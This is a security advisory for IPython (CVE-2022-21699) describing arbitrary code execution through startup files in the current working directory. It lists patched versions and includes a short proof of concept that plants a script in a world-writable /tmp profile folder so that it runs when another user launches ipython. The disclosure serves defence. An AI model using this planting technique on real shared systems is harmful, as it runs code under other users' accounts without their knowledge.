

Execution with Unnecessary Privileges in ipython

High Carreau published GHSA-pq7m-3gw7-gq5x on Jan 19

Package ipython (pip) Affected versions Patched versions All version prior and including to 8.0.0, 7.31.0, 8.0.1, 7.31.1, 7.16.3, 5.11 (source only) 5.10

Description

We'd like to disclose an arbitrary code execution vulnerability in IPython that stems from IPython executing untrusted files in CWD. This vulnerability allows one user to run code as another.

Proof of concept

User1:

```
mkdir -m 777 /tmp/profile_default
  mkdir -m 777 /tmp/profile default/startup
  echo 'print("stealing your private secrets")' > /tmp/profile_default/startup/foo.py
User2:
```

cd /tmp ipython

User2 will see:

```
Python 3.9.7 (default, Oct 25 2021, 01:04:21)
Type 'copyright', 'credits' or 'license' for more information
IPython 7.29.0 -- An enhanced Interactive Python. Type '?' for help.
stealing your private secrets
```

Patched release and documentation

See https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699,

Version 8.0.1, 7.31.1 for current Python version are recommended.

Version 7.16.3 has also been published for Python 3.6 users,

Version 5.11 (source only, 5.x branch on github) for older Python versions.

Severity



CVE ID

CVE-2022-21699

Weaknesses

(CWE-250) (CWE-279)

Credits



